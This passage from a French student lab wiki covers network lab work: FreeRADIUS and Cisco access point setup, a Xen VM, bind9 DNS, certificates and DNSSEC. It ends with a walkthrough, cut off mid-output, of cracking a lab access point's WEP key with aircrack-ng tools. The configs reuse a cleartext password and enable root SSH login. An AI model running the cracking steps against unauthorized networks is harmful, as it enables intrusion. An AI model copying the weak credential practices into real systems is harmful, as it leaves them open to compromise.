Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config-sg-radius)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...               &lt;br /&gt;
&lt;br /&gt;
Le wifi SSID_Lulya est visible et accessible.&lt;br /&gt;
&lt;br /&gt;
Dot11Radio 0 : 2.5 GHz&lt;br /&gt;
&lt;br /&gt;
Dot11rRadio 1 : 5 GHz&lt;br /&gt;
&lt;br /&gt;
Depuis hawker, on peut voir si mon portable se connecte sur le wifi SSID_Lulya.&lt;br /&gt;
&lt;br /&gt;
Au cours d'après, j'ai vérifié que la configuration Wifi est OK via le PC zabeth30.&lt;br /&gt;
   ap#sh dot11 bssid&lt;br /&gt;
&lt;br /&gt;
== Supplémentaires ==&lt;br /&gt;
&lt;br /&gt;
Puisque j'ai été la plus avancée au niveau de la réalisation de la VM et de certaines parties concernant le service internet, les tests d'intrusion et les réalisations, j'ai voulu aider mes camarades. &lt;br /&gt;
&lt;br /&gt;
Je me souviens de Nathan qui a été confiné cas contact que j'ai aidé à configurer sa machine virtuelle et lancer son domaine via gandi.net. Il a pu rattraper le retard et donc bien avancer.&lt;br /&gt;
&lt;br /&gt;
Puis, d'autres au niveau de de la sécurisation du site web par certificat et par DNSSEC.&lt;br /&gt;
&lt;br /&gt;
J'ai aussi réalisé d'autres travaux comme l'utilisateur username.&lt;br /&gt;
&lt;br /&gt;
Une interconnexion, j'ai connecté les routeurs 6509 et 3560E, ils ont alors été en conflit mais les VM ont tout de même continué à répondre.&lt;br /&gt;
&lt;br /&gt;
J'ai aussi eu un moment une connexion avec SSID_Lulya via mon portable sans internet ce qui était normal.&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54766</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54766"/>
				<updated>2020-12-16T07:29:44Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Chiffrement de données */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Partie commune ==&lt;br /&gt;
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)&lt;br /&gt;
&lt;br /&gt;
L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage. &lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2     //0 sauvegarde et 2 place&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid       //Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande db &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space      1&lt;br /&gt;
    ns6.gandi.net       2&lt;br /&gt;
Pour le prise en compte ces modifications, on attend de 12 à 24h. &lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
L'objectif est de sécuriser www.lulya.space.&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat clé pour se connecter de façon sécurisée sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
Pour valider cette étape, j'ai envoyé un mail par polytech mail, et je l'ai vu via la commande mailx.&lt;br /&gt;
&lt;br /&gt;
En rencontrant un problème, j'ai utilisé une commande servant d'outil de dépannage.&lt;br /&gt;
&lt;br /&gt;
  nano /etc/aliases&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
  newaliases /etc/aliases&lt;br /&gt;
J'envoie un nouveau mail mais à admin.&lt;br /&gt;
Grâce à mailx, on voit le mail, c'est mon certificat&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de clés.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent. &lt;br /&gt;
&lt;br /&gt;
Je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
